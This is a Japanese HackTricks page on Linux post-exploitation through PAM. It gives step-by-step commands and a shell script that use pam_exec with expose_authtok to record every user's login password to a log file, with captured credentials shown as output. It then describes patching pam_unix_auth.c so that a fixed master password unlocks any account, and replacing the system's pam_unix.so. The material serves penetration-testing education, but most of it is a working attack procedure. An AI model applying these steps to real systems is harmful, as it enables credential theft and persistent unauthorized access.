.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Linuxのポストエクスプロイテーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
PAMを使用してログオンパスワードをスニッフィングする
PAMモジュールを設定して、ユーザーがログインに使用するパスワードを記録します。PAMが何かわからない場合は、次を確認してください:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
まず、新しい認証が行われるたびに呼び出されるbashスクリプトを作成します。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
変数はPAM固有であり、pam_exec.so
モジュールを介して利用できるようになります。
以下は変数の意味です:
- $PAM_USER: 入力されたユーザー名です。
- $PAM_RHOST: リモートホスト(通常はIPアドレス)
- $(cat -): これは
stdin
を読み取り、スクリプトが取得するパスワードが含まれます - 結果は
/var/log/toomanysecrets.log
にログファイルとしてパイプされます
ファイルをすべてのユーザーが読めないようにするには、事前に作成してchmod
を実行してください。例:
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
次に、PAMの設定ファイルを更新する必要があります。pam_exec
モジュールを使用してスクリプトを呼び出します。
/etc/pam.d/
にはさまざまな設定ファイルがありますが、common-auth
を選択します。
sudo nano /etc/pam.d/common-auth
ファイルの一番下に、次の認証モジュールを追加してください:
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
オプションの意味は以下の通りです:
- optional: エラーがあっても認証は失敗しない(必須のステップではない)
- pam_exec.so: 任意のスクリプトを呼び出すことができる、Living off the land PAMモジュール
- expose_authtok:
stdin
を介してパスワードを読み取るためのトリック - quiet: ユーザーにエラーを表示しない(何かがうまくいかない場合)
- 最後の引数は以前作成したシェルスクリプトです
最後に、ファイルを実行可能にします:
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
これで、別のマシンからsshで接続するか、ローカルでログインしてみましょう。
そしてログファイルを確認してください:
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
PAMのバックドア設定
PAMのソースコードに移動しましょう(ディストリビューションによって異なりますが、自分のバージョンと同じものを選択してください)。pam_unix_auth.cファイルの170/180行付近を見てみましょう。
vi modules/pam_unix/pam_unix_auth.c
これを以下のように変更します:
これにより、パスワード "0xMitsurugi" を使用するユーザーはログインできるようになります。
pam_unix_auth.c
を再コンパイルし、pam_unix.soファイルを置き換えます。
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
{% hint style="info" %} このプロセスは、https://github.com/zephrax/linux-pam-backdoorを使用して自動化することができます。 {% endhint %}
参考文献
- https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループに参加するか、telegramグループに参加するか、Twitterでフォローする🐦@carlospolopm。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。